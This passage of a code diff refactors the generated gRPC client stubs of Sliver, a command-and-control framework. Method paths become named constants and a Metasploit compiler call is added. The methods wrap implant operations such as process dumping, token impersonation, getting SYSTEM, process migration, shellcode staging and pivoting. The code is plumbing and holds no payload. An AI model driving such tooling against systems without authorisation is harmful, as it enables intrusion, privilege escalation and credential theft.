SliverRPC_GenerateWGClientConfig_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -887,7 +1104,7 @@ func (c *sliverRPCClient) GenerateWGClientConfig(ctx context.Context, in *common func (c *sliverRPCClient) GenerateUniqueIP(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.UniqueWGIP, error) { out := new(clientpb.UniqueWGIP) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateUniqueIP", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GenerateUniqueIP_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -896,7 +1113,7 @@ func (c *sliverRPCClient) GenerateUniqueIP(ctx context.Context, in *commonpb.Emp func (c *sliverRPCClient) ImplantProfiles(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantProfiles, error) { out := new(clientpb.ImplantProfiles) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ImplantProfiles", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ImplantProfiles_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -905,7 +1122,7 @@ func (c *sliverRPCClient) ImplantProfiles(ctx context.Context, in *commonpb.Empt func (c *sliverRPCClient) DeleteImplantProfile(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/DeleteImplantProfile", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_DeleteImplantProfile_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -914,7 +1131,7 @@ func (c *sliverRPCClient) DeleteImplantProfile(ctx context.Context, in *clientpb func (c *sliverRPCClient) SaveImplantProfile(ctx context.Context, in *clientpb.ImplantProfile, opts ...grpc.CallOption) (*clientpb.ImplantProfile, error) { out := new(clientpb.ImplantProfile) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SaveImplantProfile", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_SaveImplantProfile_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -923,7 +1140,7 @@ func (c *sliverRPCClient) SaveImplantProfile(ctx context.Context, in *clientpb.I func (c *sliverRPCClient) MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error) { out := new(clientpb.MsfStager) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MsfStage", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MsfStage_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -932,7 +1149,7 @@ func (c *sliverRPCClient) MsfStage(ctx context.Context, in *clientpb.MsfStagerRe func (c *sliverRPCClient) ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error) { out := new(clientpb.ShellcodeRDI) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeRDI", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ShellcodeRDI_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -941,7 +1158,16 @@ func (c *sliverRPCClient) ShellcodeRDI(ctx context.Context, in *clientpb.Shellco func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error) { out := new(clientpb.Compiler) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCompiler", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetCompiler_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *sliverRPCClient) GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) { + out := new(clientpb.MetasploitCompiler) + err := c.cc.Invoke(ctx, SliverRPC_GetMetasploitCompiler_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -950,7 +1176,7 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) { out := new(clientpb.ShellcodeEncode) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoder", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoder_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -959,7 +1185,7 @@ func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.She func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) { out := new(clientpb.ShellcodeEncoderMap) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoderMap", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoderMap_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -968,7 +1194,7 @@ func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb. func (c *sliverRPCClient) TrafficEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.TrafficEncoderMap, error) { out := new(clientpb.TrafficEncoderMap) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderMap", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderMap_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -977,7 +1203,7 @@ func (c *sliverRPCClient) TrafficEncoderMap(ctx context.Context, in *commonpb.Em func (c *sliverRPCClient) TrafficEncoderAdd(ctx context.Context, in *clientpb.TrafficEncoder, opts ...grpc.CallOption) (*clientpb.TrafficEncoderTests, error) { out := new(clientpb.TrafficEncoderTests) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderAdd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderAdd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -986,7 +1212,7 @@ func (c *sliverRPCClient) TrafficEncoderAdd(ctx context.Context, in *clientpb.Tr func (c *sliverRPCClient) TrafficEncoderRm(ctx context.Context, in *clientpb.TrafficEncoder, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -995,7 +1221,7 @@ func (c *sliverRPCClient) TrafficEncoderRm(ctx context.Context, in *clientpb.Tra func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error) { out := new(clientpb.Websites) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Websites", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Websites_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1004,7 +1230,7 @@ func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts func (c *sliverRPCClient) Website(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*clientpb.Website, error) { out := new(clientpb.Website) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Website", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Website_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1013,7 +1239,7 @@ func (c *sliverRPCClient) Website(ctx context.Context, in *clientpb.Website, opt func (c *sliverRPCClient) WebsiteRemove(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteRemove", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WebsiteRemove_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1022,7 +1248,7 @@ func (c *sliverRPCClient) WebsiteRemove(ctx context.Context, in *clientpb.Websit func (c *sliverRPCClient) WebsiteAddContent(ctx context.Context, in *clientpb.WebsiteAddContent, opts ...grpc.CallOption) (*clientpb.Website, error) { out := new(clientpb.Website) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteAddContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WebsiteAddContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1031,7 +1257,7 @@ func (c *sliverRPCClient) WebsiteAddContent(ctx context.Context, in *clientpb.We func (c *sliverRPCClient) WebsiteUpdateContent(ctx context.Context, in *clientpb.WebsiteAddContent, opts ...grpc.CallOption) (*clientpb.Website, error) { out := new(clientpb.Website) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteUpdateContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WebsiteUpdateContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1040,7 +1266,7 @@ func (c *sliverRPCClient) WebsiteUpdateContent(ctx context.Context, in *clientpb func (c *sliverRPCClient) WebsiteRemoveContent(ctx context.Context, in *clientpb.WebsiteRemoveContent, opts ...grpc.CallOption) (*clientpb.Website, error) { out := new(clientpb.Website) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteRemoveContent", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WebsiteRemoveContent_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1049,7 +1275,7 @@ func (c *sliverRPCClient) WebsiteRemoveContent(ctx context.Context, in *clientpb func (c *sliverRPCClient) Ping(ctx context.Context, in *sliverpb.Ping, opts ...grpc.CallOption) (*sliverpb.Ping, error) { out := new(sliverpb.Ping) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ping", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Ping_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1058,7 +1284,7 @@ func (c *sliverRPCClient) Ping(ctx context.Context, in *sliverpb.Ping, opts ...g func (c *sliverRPCClient) Ps(ctx context.Context, in *sliverpb.PsReq, opts ...grpc.CallOption) (*sliverpb.Ps, error) { out := new(sliverpb.Ps) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ps", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Ps_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1067,7 +1293,7 @@ func (c *sliverRPCClient) Ps(ctx context.Context, in *sliverpb.PsReq, opts ...gr func (c *sliverRPCClient) Terminate(ctx context.Context, in *sliverpb.TerminateReq, opts ...grpc.CallOption) (*sliverpb.Terminate, error) { out := new(sliverpb.Terminate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Terminate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Terminate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1076,7 +1302,7 @@ func (c *sliverRPCClient) Terminate(ctx context.Context, in *sliverpb.TerminateR func (c *sliverRPCClient) Ifconfig(ctx context.Context, in *sliverpb.IfconfigReq, opts ...grpc.CallOption) (*sliverpb.Ifconfig, error) { out := new(sliverpb.Ifconfig) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ifconfig", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Ifconfig_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1085,7 +1311,7 @@ func (c *sliverRPCClient) Ifconfig(ctx context.Context, in *sliverpb.IfconfigReq func (c *sliverRPCClient) Netstat(ctx context.Context, in *sliverpb.NetstatReq, opts ...grpc.CallOption) (*sliverpb.Netstat, error) { out := new(sliverpb.Netstat) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Netstat", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Netstat_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1094,7 +1320,7 @@ func (c *sliverRPCClient) Netstat(ctx context.Context, in *sliverpb.NetstatReq, func (c *sliverRPCClient) Ls(ctx context.Context, in *sliverpb.LsReq, opts ...grpc.CallOption) (*sliverpb.Ls, error) { out := new(sliverpb.Ls) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ls", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Ls_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1103,7 +1329,7 @@ func (c *sliverRPCClient) Ls(ctx context.Context, in *sliverpb.LsReq, opts ...gr func (c *sliverRPCClient) Cd(ctx context.Context, in *sliverpb.CdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error) { out := new(sliverpb.Pwd) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Cd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Cd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1112,7 +1338,7 @@ func (c *sliverRPCClient) Cd(ctx context.Context, in *sliverpb.CdReq, opts ...gr func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error) { out := new(sliverpb.Pwd) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Pwd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Pwd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1121,7 +1347,7 @@ func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ... func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error) { out := new(sliverpb.Mv) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mv", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Mv_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1130,7 +1356,7 @@ func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...gr func (c *sliverRPCClient) Cp(ctx context.Context, in *sliverpb.CpReq, opts ...grpc.CallOption) (*sliverpb.Cp, error) { out := new(sliverpb.Cp) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Cp", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Cp_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1139,7 +1365,7 @@ func (c *sliverRPCClient) Cp(ctx context.Context, in *sliverpb.CpReq, opts ...gr func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error) { out := new(sliverpb.Rm) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Rm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1148,7 +1374,7 @@ func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...gr func (c *sliverRPCClient) Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error) { out := new(sliverpb.Mkdir) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mkdir", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Mkdir_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1157,7 +1383,7 @@ func (c *sliverRPCClient) Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts func (c *sliverRPCClient) Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error) { out := new(sliverpb.Download) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Download", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Download_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1166,7 +1392,7 @@ func (c *sliverRPCClient) Download(ctx context.Context, in *sliverpb.DownloadReq func (c *sliverRPCClient) Upload(ctx context.Context, in *sliverpb.UploadReq, opts ...grpc.CallOption) (*sliverpb.Upload, error) { out := new(sliverpb.Upload) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Upload", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Upload_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1175,7 +1401,7 @@ func (c *sliverRPCClient) Upload(ctx context.Context, in *sliverpb.UploadReq, op func (c *sliverRPCClient) Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts ...grpc.CallOption) (*sliverpb.Chmod, error) { out := new(sliverpb.Chmod) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chmod", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Chmod_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1184,7 +1410,7 @@ func (c *sliverRPCClient) Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts func (c *sliverRPCClient) Chown(ctx context.Context, in *sliverpb.ChownReq, opts ...grpc.CallOption) (*sliverpb.Chown, error) { out := new(sliverpb.Chown) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chown", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Chown_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1193,7 +1419,7 @@ func (c *sliverRPCClient) Chown(ctx context.Context, in *sliverpb.ChownReq, opts func (c *sliverRPCClient) Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, opts ...grpc.CallOption) (*sliverpb.Chtimes, error) { out := new(sliverpb.Chtimes) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chtimes", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Chtimes_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1202,7 +1428,7 @@ func (c *sliverRPCClient) Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, func (c *sliverRPCClient) MemfilesList(ctx context.Context, in *sliverpb.MemfilesListReq, opts ...grpc.CallOption) (*sliverpb.Ls, error) { out := new(sliverpb.Ls) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesList", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MemfilesList_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1211,7 +1437,7 @@ func (c *sliverRPCClient) MemfilesList(ctx context.Context, in *sliverpb.Memfile func (c *sliverRPCClient) MemfilesAdd(ctx context.Context, in *sliverpb.MemfilesAddReq, opts ...grpc.CallOption) (*sliverpb.MemfilesAdd, error) { out := new(sliverpb.MemfilesAdd) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesAdd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MemfilesAdd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1220,7 +1446,7 @@ func (c *sliverRPCClient) MemfilesAdd(ctx context.Context, in *sliverpb.Memfiles func (c *sliverRPCClient) MemfilesRm(ctx context.Context, in *sliverpb.MemfilesRmReq, opts ...grpc.CallOption) (*sliverpb.MemfilesRm, error) { out := new(sliverpb.MemfilesRm) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesRm", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MemfilesRm_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1229,7 +1455,7 @@ func (c *sliverRPCClient) MemfilesRm(ctx context.Context, in *sliverpb.MemfilesR func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error) { out := new(sliverpb.ProcessDump) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ProcessDump", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ProcessDump_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1238,7 +1464,7 @@ func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessD func (c *sliverRPCClient) RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts ...grpc.CallOption) (*sliverpb.RunAs, error) { out := new(sliverpb.RunAs) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunAs", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RunAs_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1247,7 +1473,7 @@ func (c *sliverRPCClient) RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts func (c *sliverRPCClient) Impersonate(ctx context.Context, in *sliverpb.ImpersonateReq, opts ...grpc.CallOption) (*sliverpb.Impersonate, error) { out := new(sliverpb.Impersonate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Impersonate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Impersonate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1256,7 +1482,7 @@ func (c *sliverRPCClient) Impersonate(ctx context.Context, in *sliverpb.Imperson func (c *sliverRPCClient) RevToSelf(ctx context.Context, in *sliverpb.RevToSelfReq, opts ...grpc.CallOption) (*sliverpb.RevToSelf, error) { out := new(sliverpb.RevToSelf) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RevToSelf", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RevToSelf_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1265,7 +1491,7 @@ func (c *sliverRPCClient) RevToSelf(ctx context.Context, in *sliverpb.RevToSelfR func (c *sliverRPCClient) GetSystem(ctx context.Context, in *clientpb.GetSystemReq, opts ...grpc.CallOption) (*sliverpb.GetSystem, error) { out := new(sliverpb.GetSystem) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSystem", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetSystem_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1274,7 +1500,7 @@ func (c *sliverRPCClient) GetSystem(ctx context.Context, in *clientpb.GetSystemR func (c *sliverRPCClient) Task(ctx context.Context, in *sliverpb.TaskReq, opts ...grpc.CallOption) (*sliverpb.Task, error) { out := new(sliverpb.Task) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Task", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Task_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1283,7 +1509,7 @@ func (c *sliverRPCClient) Task(ctx context.Context, in *sliverpb.TaskReq, opts . func (c *sliverRPCClient) Msf(ctx context.Context, in *clientpb.MSFReq, opts ...grpc.CallOption) (*sliverpb.Task, error) { out := new(sliverpb.Task) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Msf", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Msf_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1292,7 +1518,7 @@ func (c *sliverRPCClient) Msf(ctx context.Context, in *clientpb.MSFReq, opts ... func (c *sliverRPCClient) MsfRemote(ctx context.Context, in *clientpb.MSFRemoteReq, opts ...grpc.CallOption) (*sliverpb.Task, error) { out := new(sliverpb.Task) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MsfRemote", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MsfRemote_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1301,7 +1527,7 @@ func (c *sliverRPCClient) MsfRemote(ctx context.Context, in *clientpb.MSFRemoteR func (c *sliverRPCClient) ExecuteAssembly(ctx context.Context, in *sliverpb.ExecuteAssemblyReq, opts ...grpc.CallOption) (*sliverpb.ExecuteAssembly, error) { out := new(sliverpb.ExecuteAssembly) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteAssembly", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ExecuteAssembly_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1310,7 +1536,7 @@ func (c *sliverRPCClient) ExecuteAssembly(ctx context.Context, in *sliverpb.Exec func (c *sliverRPCClient) Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error) { out := new(sliverpb.Migrate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Migrate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Migrate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1319,7 +1545,7 @@ func (c *sliverRPCClient) Migrate(ctx context.Context, in *clientpb.MigrateReq, func (c *sliverRPCClient) Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) { out := new(sliverpb.Execute) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Execute", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Execute_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1328,7 +1554,7 @@ func (c *sliverRPCClient) Execute(ctx context.Context, in *sliverpb.ExecuteReq, func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) { out := new(sliverpb.Execute) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteWindows", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ExecuteWindows_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1337,7 +1563,7 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) { out := new(sliverpb.Sideload) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Sideload_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1346,7 +1572,7 @@ func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq func (c *sliverRPCClient) SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error) { out := new(sliverpb.SpawnDll) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SpawnDll", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_SpawnDll_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1355,7 +1581,7 @@ func (c *sliverRPCClient) SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawn func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error) { out := new(sliverpb.Screenshot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Screenshot", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Screenshot_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1364,7 +1590,7 @@ func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.Screensho func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error) { out := new(sliverpb.CurrentTokenOwner) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CurrentTokenOwner", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CurrentTokenOwner_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1373,7 +1599,7 @@ func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.Cu func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) { out := new(sliverpb.PivotListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_PivotStartListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1382,7 +1608,7 @@ func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.P func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStopListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_PivotStopListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1391,7 +1617,7 @@ func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.Pi func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) { out := new(sliverpb.PivotListeners) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotSessionListeners", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_PivotSessionListeners_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1400,7 +1626,7 @@ func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverp func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error) { out := new(clientpb.PivotGraph) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotGraph", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_PivotGraph_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1409,7 +1635,7 @@ func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, op func (c *sliverRPCClient) StartService(ctx context.Context, in *sliverpb.StartServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) { out := new(sliverpb.ServiceInfo) - err := 